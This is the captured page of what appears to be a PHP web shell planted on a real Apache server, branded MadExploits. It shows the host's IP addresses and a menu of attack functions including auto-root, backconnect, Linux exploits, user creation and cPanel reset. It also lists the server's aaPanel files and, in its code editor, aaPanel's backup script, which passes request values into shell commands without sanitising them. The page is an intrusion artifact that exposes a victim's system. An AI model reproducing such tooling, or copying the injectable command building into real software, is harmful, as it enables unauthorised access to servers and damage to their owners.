Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.148.248.235
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
panel /
class_v2 /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
btdockerModelV2
[ DIR ]
drwxr-xr-x
crontabModelV2
[ DIR ]
drwxr-xr-x
databaseModelV2
[ DIR ]
drwxr-xr-x
firewallModelV2
[ DIR ]
drwxr-xr-x
logsModelV2
[ DIR ]
drwxr-xr-x
monitorModelV2
[ DIR ]
drwxr-xr-x
panelModelV2
[ DIR ]
drwxr-xr-x
power_mta
[ DIR ]
drwxr-xr-x
projectModelV2
[ DIR ]
drwxr-xr-x
safeModelV2
[ DIR ]
drwxr-xr-x
safe_warning_v2
[ DIR ]
drwxr-xr-x
ssl_domainModelV2
[ DIR ]
drwxr-xr-x
virtualModelV2
[ DIR ]
drwxr-xr-x
wp_toolkit
[ DIR ]
drwxr-xr-x
acme_v3.py
133.98
KB
-rw-r--r--
ajax_v2.py
95.41
KB
-rw-r--r--
apache_v2.py
17.28
KB
-rw-r--r--
backup_bak_v2.py
24.86
KB
-rw-r--r--
breaking_through.py
47.94
KB
-rw-r--r--
cloud_stora_upload_v2.py
19.27
KB
-rw-r--r--
common_v2.py
12.45
KB
-rw-r--r--
config_v2.py
165.36
KB
-rw-r--r--
crontab_ssl_v2.py
1.85
KB
-rw-r--r--
crontab_v2.py
111.93
KB
-rw-r--r--
data_v2.py
36.54
KB
-rw-r--r--
database_v2.py
125.54
KB
-rw-r--r--
datatool_v2.py
5.83
KB
-rw-r--r--
db_mysql_v2.py
11.41
KB
-rw-r--r--
db_v2.py
11.04
KB
-rw-r--r--
dk_db.py
18.34
KB
-rw-r--r--
download_file_v2.py
2.54
KB
-rw-r--r--
fastcgi_client_two_v2.py
12.26
KB
-rw-r--r--
fastcgi_client_v2.py
6.89
KB
-rw-r--r--
file_execute_deny_v2.py
10.34
KB
-rw-r--r--
files_v2.py
149.12
KB
-rw-r--r--
firewall_new_v2.py
22.4
KB
-rw-r--r--
firewalld_v2.py
11.09
KB
-rw-r--r--
firewalls_v2.py
17.44
KB
-rw-r--r--
flask_compress_v2.py
5.12
KB
-rw-r--r--
flask_sockets_v2.py
3.75
KB
-rw-r--r--
ftp_log_v2.py
21.72
KB
-rw-r--r--
ftp_v2.py
16.17
KB
-rw-r--r--
http_requests_v2.py
24.25
KB
-rw-r--r--
jobs_v2.py
36.98
KB
-rw-r--r--
letsencrypt_v2.py
12.85
KB
-rw-r--r--
log_analysis_v2.py
12.23
KB
-rw-r--r--
monitor_v2.py
13.53
KB
-rw-r--r--
one_key_wp_v2.py
75.79
KB
-rw-r--r--
panelControllerV2.py
4.97
KB
-rw-r--r--
panelDatabaseControllerV2.py
5.76
KB
-rw-r--r--
panelDockerControllerV2.py
5.86
KB
-rw-r--r--
panelFireControllerV2.py
4.65
KB
-rw-r--r--
panelModControllerV2.py
5.13
KB
-rw-r--r--
panelProjectControllerV2.py
6.07
KB
-rw-r--r--
panelSafeControllerV2.py
4.65
KB
-rw-r--r--
panel_api_v2.py
10.43
KB
-rw-r--r--
panel_auth_v2.py
33.21
KB
-rw-r--r--
panel_backup_v2.py
102.56
KB
-rw-r--r--
panel_dns_api_v2.py
22.2
KB
-rw-r--r--
panel_http_proxy_v2.py
11.33
KB
-rw-r--r--
panel_lets_v2.py
43.61
KB
-rw-r--r--
panel_mssql_v2.py
4.48
KB
-rw-r--r--
panel_mysql_v2.py
7.55
KB
-rw-r--r--
panel_php_v2.py
24.78
KB
-rw-r--r--
panel_ping_v2.py
2.88
KB
-rw-r--r--
panel_plugin_v2.py
125.11
KB
-rw-r--r--
panel_push_v2.py
23.78
KB
-rw-r--r--
panel_redirect_v2.py
34.02
KB
-rw-r--r--
panel_restore_v2.py
11.04
KB
-rw-r--r--
panel_site_v2.py
343.73
KB
-rw-r--r--
panel_ssl_v2.py
75.34
KB
-rw-r--r--
panel_task_v2.py
28.7
KB
-rw-r--r--
panel_video_V2.py
1.88
KB
-rw-r--r--
panel_warning_v2.py
68.71
KB
-rw-r--r--
password_v2.py
8.09
KB
-rw-r--r--
plugin_auth_v2.py
3.14
KB
-rw-r--r--
plugin_deployment_v2.py
28.85
KB
-rw-r--r--
san_baseline_v2.py
51.13
KB
-rw-r--r--
site_dir_auth_v2.py
17.67
KB
-rw-r--r--
ssh_security_v2.py
45.66
KB
-rw-r--r--
ssh_terminal_v2.py
58.86
KB
-rw-r--r--
system_v2.py
44.77
KB
-rw-r--r--
userRegister_v2.py
6.74
KB
-rw-r--r--
user_login_v2.py
21.2
KB
-rw-r--r--
vilidate_v2.py
4.94
KB
-rw-r--r--
wxapp_v2.py
5.62
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : backup_bak_v2.py
# coding: utf-8 # +------------------------------------------------------------------- # | aaPanel # +------------------------------------------------------------------- # | Copyright (c) 2015-2099 aaPanel(www.aapanel.com) All rights reserved. # +------------------------------------------------------------------- # | Author: 1249648969@qq.com # | 主控 备份 # +--------------------------------------- import sys, os if sys.version_info[0] == 2: reload(sys) sys.setdefaultencoding('utf-8') os.chdir('/www/server/panel') if not 'class/' in sys.path: sys.path.insert(0,'class/') import time,hashlib,sys,os,json,requests,re,public,random,string,panelMysql,downloadFile python_bin=public.get_python_bin() class backup_bak: _chek_site_file='/tmp/chekc_site.json' _check_database = '/www/server/panel/data/check_database.json' _check_site = '/www/server/panel/data/check_site_data.json' _chekc_path='/www/server/panel/data/check_path_data.json' _down_path='/www/server/panel/data/download_path_data.json' _check_database_data=[] _check_site_data=[] _check_path_data=[] _down_path_data=[] #备份所有站点的进度 _check_all_site = '/www/server/panel/data/check_site_data_all.json' _check_site_all_data=[] #备份所有数据库的进度 _check_all_date = '/www/server/panel/data/check_date_data_all.json' _check_date_all_data=[] def __init__(self): if not os.path.exists(self._check_all_site): ret = [] public.writeFile(self._check_all_site, json.dumps(ret)) else: ret = public.ReadFile(self._check_all_site) self._check_site_all_data = json.loads(ret) if not os.path.exists(self._check_all_date): ret = [] public.writeFile(self._check_all_date, json.dumps(ret)) else: ret = public.ReadFile(self._check_all_date) self._check_date_all_data = json.loads(ret) if not os.path.exists('/www/backup/site_backup'): public.ExecShell('mkdir /www/backup/site_backup -p') if not os.path.exists('/www/backup/database_backup'): public.ExecShell('mkdir /www/backup/database_backup') if not os.path.exists(self._check_database): ret = [] public.writeFile(self._check_database, json.dumps(ret)) else: ret = public.ReadFile(self._check_database) self._check_database_data = json.loads(ret) if not os.path.exists(self._check_site): ret = [] public.writeFile(self._check_site, json.dumps(ret)) else: ret = public.ReadFile(self._check_site) self._check_site_data = json.loads(ret) if not os.path.exists(self._chekc_path): ret = [] public.writeFile(self._chekc_path, json.dumps(ret)) else: ret = public.ReadFile(self._chekc_path) self._check_path_data = json.loads(ret) #下载所需要的 if not os.path.exists(self._down_path): ret = [] public.writeFile(self._down_path, json.dumps(ret)) else: ret = public.ReadFile(self._down_path) self._down_path_data = json.loads(ret) #判断是否在_check_database_data 中 def check_database_data(self,data,ret): if len(data)==0:return False for i in data: if int(i['id']) == int(ret['id']): return True else: return False def check_database_data2(self,data,ret): if len(data)==0:return False for i in data: if i['id'] == ret['id']: return True else: return False #写入_database_data到里面去 def set_database_data(self,ret): if len(self._check_database_data) == 0: self._check_database_data.append(ret) else: if self.check_database_data(self._check_database_data,ret): for i in self._check_database_data: if int(i['id'])==int(ret['id']): i['name'] = ret['name'] i['path']=ret['path'] i['status']=ret['status'] else: self._check_database_data.append(ret) public.writeFile(self._check_database, json.dumps(self._check_database_data)) return True #写入_site_data到里面去 def set_site_data(self,ret): if len(self._check_site_data) == 0: self._check_site_data.append(ret) else: if self.check_database_data(self._check_site_data,ret): for i in self._check_site_data: if int(i['id']) == int(ret['id']): i['name'] = ret['name'] i['path']=ret['path'] i['status']=ret['status'] else: self._check_site_data.append(ret) public.writeFile(self._check_site, json.dumps(self._check_site_data)) return True #写入_site_data到里面去 def set_path_data(self,ret): if len(self._check_path_data) == 0: self._check_path_data.append(ret) else: if self.check_database_data2(self._check_path_data,ret): for i in self._check_path_data: if i['id']==ret['id']: i['name'] = ret['name'] i['path']=ret['path'] i['status']=ret['status'] else: self._check_path_data.append(ret) public.writeFile(self._chekc_path, json.dumps(self._check_path_data)) return True # 显示所有网站信息 def get_sites(self,get): data= public.M('sites').field('id,name,path,status,ps,addtime,edate').select() for i in data: data2=self.GetSSL(i['name']) i['ssl']=data2['status'] if data2['status']: i['time'] = data2['cert_data'] else: i['time'] =False return data def get_databases(self,get): data= public.M('databases').field('id,name,username,password,accept,ps,addtime').select() return data # 是否跳转到https def IsToHttps(self, siteName): file = self.setupPath + '/panel/vhost/nginx/' + siteName + '.conf'; conf = public.readFile(file); if conf: if conf.find('HTTP_TO_HTTPS_START') != -1: return True; if conf.find('$server_port !~ 443') != -1: return True; return False; # 取SSL状态 def GetSSL(self, siteName): self.setupPath = '/www/server' path = os.path.join('/www/server/panel/vhost/cert/', siteName) if not os.path.isfile(os.path.join(path, "fullchain.pem")) and not os.path.isfile(os.path.join(path, "privkey.pem")): path = os.path.join('/etc/letsencrypt/live/', siteName) type = 0; if os.path.exists(path + '/README'): type = 1; if os.path.exists(path + '/partnerOrderId'): type = 2; csrpath = path + "/fullchain.pem"; # 生成证书路径 keypath = path + "/privkey.pem"; # 密钥文件路径 key = public.readFile(keypath); csr = public.readFile(csrpath); file = self.setupPath + '/panel/vhost/' + public.get_webserver() + '/' + siteName + '.conf'; conf = public.readFile(file); keyText = 'SSLCertificateFile' if public.get_webserver() == 'nginx': keyText = 'ssl_certificate'; status = True if not conf or conf.find(keyText) == -1: status = False type = -1 toHttps = self.IsToHttps(siteName) id = public.M('sites').where("name=?", (siteName,)).getField('id') domains = public.M('domain').where("pid=?", (id,)).field('name').select() cert_data= {} if csr: cert_data = self.GetCertName(csrpath) email = public.M('users').where('id=?',(1,)).getField('email') if email == '287962566@qq.com': email = '' return {'status': status, 'cert_data':cert_data} #转换时间 def strfToTime(self,sdate): import time return time.strftime('%Y-%m-%d',time.strptime(sdate,'%b %d %H:%M:%S %Y %Z')) #获取证书名称 def GetCertName(self,certPath): try: openssl = '/usr/local/openssl/bin/openssl'; if not os.path.exists(openssl): openssl = 'openssl'; result = public.ExecShell(openssl + " x509 -in "+certPath+" -noout -subject -enddate -startdate -issuer") tmp = result[0].split("\n"); data = {} data['subject'] = tmp[0].split('=')[-1] data['notAfter'] = self.strfToTime(tmp[1].split('=')[1]) data['notBefore'] = self.strfToTime(tmp[2].split('=')[1]) if tmp[3].find('O=') == -1: data['issuer'] = tmp[3].split('CN=')[-1] else: data['issuer'] = tmp[3].split('O=')[-1].split(',')[0] if data['issuer'].find('/') != -1: data['issuer'] = data['issuer'].split('/')[0]; result = public.ExecShell(openssl + " x509 -in "+certPath+" -noout -text|grep DNS") data['dns'] = result[0].replace('DNS:','').replace(' ','').strip().split(','); return data; except: print(public.get_error_info()) return None; # 显示所有网站信息 def get_sites_or_ssl(self,get): data= public.M('sites').field('id,name,path,status,ps,addtime,edate').select() for i in data: i['ssl']=self.GetSSL(i['name']) return data #backup_database def backup_database(self,get): if not public.M('databases').where("name=?",(get.name,)).count():return public.returnMsg(False, public.lang("The database does not exist")) id=public.M('databases').where("name=?", (get.name,)).getField('id') if not id:return public.returnMsg(False, public.lang("The database does not exist")) if os.path.exists(self._chek_site_file): return public.returnMsg(False, public.lang("A backup task already exists in this time period. It is recommended that you choose another time period")) public.ExecShell( python_bin + ' /www/server/panel/class/backup_bak.py database %s &'%id) return public.returnMsg(True, public.lang("OK")) # backup_database def backup_site(self, get): if not public.M('sites').where("name=?", (get.name,)).count(): return public.returnMsg(False, public.lang("Website does not exist")) id = public.M('sites').where('name=?',(get.name,)).getField('id') if not id:return public.returnMsg(False, public.lang("Website does not exist")) #监测是否存在任务 if os.path.exists(self._chek_site_file): return public.returnMsg(False, public.lang("A backup task already exists in this time period. It is recommended that you choose another time period")) public.ExecShell(python_bin+ ' /www/server/panel/class/backup_bak.py sites %s &' % id) return public.returnMsg(True, public.lang("OK")) # backup_path def backup_path_data(self, get): if not os.path.exists(get.path):return public.returnMsg(False, public.lang("Directory does not exist")) public.ExecShell(python_bin+ ' /www/server/panel/class/backup_bak.py path %s &' % get.path) return public.returnMsg(True, public.lang("OK")) #检测数据库执行错误 def IsSqlError(self,mysqlMsg): mysqlMsg=str(mysqlMsg) if "MySQLdb" in mysqlMsg: return False if "2002," in mysqlMsg or '2003,' in mysqlMsg: return False if "using password:" in mysqlMsg: return False if "Connection refused" in mysqlMsg: return False if "1133" in mysqlMsg: return False if "libmysqlclient" in mysqlMsg:return False #配置 def mypass(self,act,root): public.ExecShell("sed -i '/user=root/d' /etc/my.cnf") public.ExecShell("sed -i '/password=/d' /etc/my.cnf") if act: mycnf = public.readFile('/etc/my.cnf'); rep = "\\[mysqldump\\]\nuser=root" sea = "[mysqldump]\n" subStr = sea + "user=root\npassword=\"" + root + "\"\n"; mycnf = mycnf.replace(sea,subStr) if len(mycnf) > 100: public.writeFile('/etc/my.cnf',mycnf); def backup_database2(self,id): if not public.M('databases').where("id=?", (id,)).count(): ret = {} ret['id'] = id ret['name'] = False ret['status'] = False ret['path'] = False ret['chekc']=False self.set_site_data(ret) return public.returnMsg(False, public.lang("The database does not exist")) id=int(id) # 添加到chekc_database 中 ret={} ret['id']=id ret['name']=public.M('databases').where("id=?", (id,)).getField('name') ret['status']=False ret['path']=False ret['chekc'] = True self.set_database_data(ret) if not os.path.exists(self._chek_site_file): public.ExecShell('touch %s' % self._chek_site_file) path=self.backup_database_data(id) os.remove(self._chek_site_file) ret['status'] = True ret['path'] = path self.set_database_data(ret) def backup_path_data2(self,path): id=''.join(random.sample(string.ascii_letters + string.digits, 4)) if not os.path.exists(path): ret = {} ret['id'] = id ret['name'] = False ret['status'] = False ret['path'] = False ret['chekc']=False self.set_path_data(ret) return public.returnMsg(False, public.lang("Directory does not exist")) # 添加到chekc_database 中 ret={} ret['id']=id ret['name']=path ret['status']=False ret['path']=False ret['chekc'] = True self.set_path_data(ret) path2=self.backup_path(path) ret['status'] = True ret['path'] = path2 self.set_path_data(ret) return True def backup_site2(self,id): if not public.M('sites').where("id=?", (id,)).count(): ret = {} ret['id'] = id ret['name'] = False ret['status'] = False ret['path'] = False ret['chekc']=False self.set_site_data(ret) return public.returnMsg(False, public.lang("Site does not exist")) id=int(id) # 添加到chekc_database 中 ret={} ret['id']=id ret['name']=public.M('sites').where("id=?", (id,)).getField('name') ret['status']=False ret['path']=False ret['chekc'] = True self.set_site_data(ret) if not os.path.exists(self._chek_site_file): public.ExecShell('touch %s' % self._chek_site_file) path=self.backup_site_data(id) os.remove(self._chek_site_file) ret['status'] = True ret['path'] = path self.set_site_data(ret) return True #备份数据库 def backup_database_data(self,id): result = panelMysql.panelMysql().execute("show databases") isError =self.IsSqlError(result) if isError: return isError name = public.M('databases').where("id=?", (id,)).getField('name') root = public.M('config').where('id=?', (1,)).getField('mysql_root') if not os.path.exists('/www/server/panel/BTPanel/static' + '/database'): public.ExecShell( 'mkdir -p ' + '/www/server/panel/BTPanel/static' + '/database'); self.mypass(True, root) path_id = ''.join(random.sample(string.ascii_letters + string.digits, 20)) fileName = path_id+'DATA'+name + '_' + time.strftime('%Y%m%d_%H%M%S', time.localtime()) + '.sql.gz' backupName = '/www/server/panel/BTPanel/static'+ '/database/' + fileName public.ExecShell("/www/server/mysql/bin/mysqldump --default-character-set=" + public.get_database_character( name) + " --force --opt \"" + name + "\" | gzip > " + backupName) if not os.path.exists(backupName): return public.returnMsg(False, public.lang("Backup error")) self.mypass(False, root) sql = public.M('backup') addTime = time.strftime('%Y-%m-%d %X', time.localtime()) sql.add('type,name,pid,filename,size,addtime', (1, fileName, id, backupName, 0, addTime)) public.WriteLog("TYPE_DATABASE", "DATABASE_BACKUP_SUCCESS", (name,)) return backupName #备份网站 def backup_site_data(self,id): path_id = ''.join(random.sample(string.ascii_letters + string.digits, 20)) find = public.M('sites').where("id=?",(id,)).field('name,path,id').find() import time fileName = path_id+'WEB'+find['name']+'_'+time.strftime('%Y%m%d_%H%M%S',time.localtime())+'.zip' backupPath = '/www/server/panel/BTPanel/static'+ '/site' zipName = backupPath + '/'+fileName if not (os.path.exists(backupPath)): os.makedirs(backupPath) tmps = '/tmp/panelExec.log' execStr = "cd '" + find['path'] + "' && zip '" + zipName + "' -x .user.ini -r ./ > " + tmps + " 2>&1" public.ExecShell(execStr) sql = public.M('backup').add('type,name,pid,filename,size,addtime',(0,fileName,find['id'],zipName,0,public.getDate())) public.WriteLog('TYPE_SITE', 'SITE_BACKUP_SUCCESS',(find['name'],)) return zipName #备份目录 def backup_path(self,path): import time path_id = ''.join(random.sample(string.ascii_letters + string.digits, 20)) fileName =path_id+ path.replace('/','_')+'_'+time.strftime('%Y%m%d_%H%M%S',time.localtime())+'.zip' backupPath = '/www/server/panel/BTPanel/static'+ '/path' zipName = backupPath + '/'+fileName if not (os.path.exists(backupPath)): os.makedirs(backupPath) tmps = '/tmp/panelExec.log' execStr = "cd '" + path + "' && zip '" + zipName + "' -x .user.ini -r ./ > " + tmps + " 2>&1" public.ExecShell(execStr) public.WriteLog('TYPE_FILE', 'Backup folder [ % s] succeeded'%path) print(zipName) return zipName #查看数据备份进度 def get_database_progress(self,get): id=get.id for i in self._check_database_data: if int(i['id'])==int(id): return public.returnMsg(True, i) else: return public.returnMsg(False, public.lang("False")) #查看网站备份进度 def get_site_progress(self,get): id=get.id for i in self._check_site_data: if int(i['id']) == int(id): return public.returnMsg(True, i) else: return public.returnMsg(False, public.lang("False")) #查看网站备份进度 def get_path_progress(self,get): id=get.id for i in self._check_path_data: if i['id'] == id: return public.returnMsg(True, i) else: return public.returnMsg(False, public.lang("False")) ###########文件下载 # 判断是否在_check_database_data 中 def check_down_data(self, data, ret): if len(data) == 0: return False for i in data: if i['id'] == ret['id'] and i['type']==ret['type']: return True else: return False def set_down_data(self, ret): if len(self._down_path_data) == 0: self._down_path_data.append(ret) else: if self.check_database_data(self._down_path_data, ret): for i in self._down_path_data: if i['id'] == ret['id'] and i['type']==ret['type']: i['name'] = ret['name'] i['url']=ret['url'] i['filename']=ret['filename'] i['status'] = ret['status'] else: self._down_path_data.append(ret) public.writeFile(self._down_path, json.dumps(self._down_path_data)) return True #下载对方的备份文件 def download_path(self,get): filename=get.filename ret = {} ret['type']=get.type ret['id']=get.id ret['name']=get.name ret['url']=get.url ret['filename']=filename ret['status']=False self.set_down_data(ret) print(python_bin+ ' /www/server/panel/class/backup_bak.py down %s %s %s %s %s &'%(get.url,filename,get.type,get.id,get.name)) public.ExecShell(python_bin+ ' /www/server/panel/class/backup_bak.py down %s %s %s %s %s &'%(get.url,filename,get.type,get.id,get.name)) return True def down2(self,url,filename,type,id,name): self.down(url,filename) ret={} ret['url'] = url ret['type']=type ret['id']=id ret['name']=name ret['filename'] = filename ret['status']=True self.set_down_data(ret) #测试下载 def down(self,url,filename): print(url) print("Download to %s"%filename) down=downloadFile.downloadFile() ret=down.DownloadFile(url,filename) print('Download completed') return True #查看网站备份进度 def get_down_progress(self,get): id=get.id type=get.type for i in self._down_path_data: if i['id'] == id and i['type']==type: return public.returnMsg(True, i) else: return public.returnMsg(False, public.lang("False")) # backup_database def backup_site_all(self, get): #监测是否存在任务 if os.path.exists(self._chek_site_file): return public.returnMsg(False, public.lang("A backup task already exists in this time period. It is recommended that you choose another time period")) public.ExecShell(python_bin+ ' /www/server/panel/class/backup_bak.py sites_ALL 11 &') return public.returnMsg(True, public.lang("OK")) def set_backup_all(self): data = public.M('sites').field('id,name,path,status,ps,addtime,edate').select() site_list = [] #进度格式 总数量 当前数量 和返回的结果 jindu={} jindu['start_count']=len(data) jindu['end_count']=0 jindu['resulit']=site_list public.writeFile(self._check_all_site, json.dumps(jindu)) if not os.path.exists(self._chek_site_file): public.ExecShell('touch %s' % self._chek_site_file) for i in data: path = self.backup_site_data(i['id']) if path: resulit = {} resulit['id'] = i['id'] resulit['path'] = path resulit['type'] = 'sites' resulit['name']=i['name'] jindu['resulit'].append(resulit) jindu['end_count'] +=1 print(jindu) public.writeFile(self._check_all_site, json.dumps(jindu)) os.remove(self._chek_site_file) return site_list #查看网站备份进度 def get_all_site_progress(self,get): return self._check_site_all_data # backup_database def backup_date_all(self, get): if os.path.exists(self._chek_site_file): return public.returnMsg(False, public.lang("A backup task already exists in this time period. It is recommended that you choose another time period")) public.ExecShell(python_bin+ ' /www/server/panel/class/backup_bak.py database_ALL 11 &') return public.returnMsg(True, public.lang("OK")) def backup_all_database(self): data = public.M('databases').field('id,name,username,password,accept,ps,addtime').select() site_list = [] #进度格式 总数量 当前数量 和返回的结果 jindu={} jindu['start_count']=len(data) jindu['end_count']=0 jindu['resulit']=site_list public.writeFile(self._check_all_date, json.dumps(jindu)) if not os.path.exists(self._chek_site_file): public.ExecShell('touch %s' % self._chek_site_file) for i in data: path = self.backup_database_data(i['id']) if path: resulit = {} resulit['id'] = i['id'] resulit['path'] = path resulit['type'] = 'sites' resulit['name'] = i['name'] jindu['resulit'].append(resulit) jindu['end_count'] +=1 print(jindu) public.writeFile(self._check_all_date, json.dumps(jindu)) os.remove(self._chek_site_file) return site_list #查看网站备份进度 def get_all_date_progress(self,get): return self._check_date_all_data if __name__ == '__main__': p = backup_bak() ret = sys.argv[1] type = sys.argv[2] if ret =='sites': p.backup_site2(type) elif ret=='sites_ALL': p.set_backup_all() elif ret=='database_ALL': p.backup_all_database() elif ret=='database': p.backup_database2(type) elif ret=='path': p.backup_path_data2(type) elif ret=='down': filename = sys.argv[3] down_type=sys.argv[4] down_id=sys.argv[5] down_name=sys.argv[6] p.down2(type,filename,down_type,down_id,down_name)
Close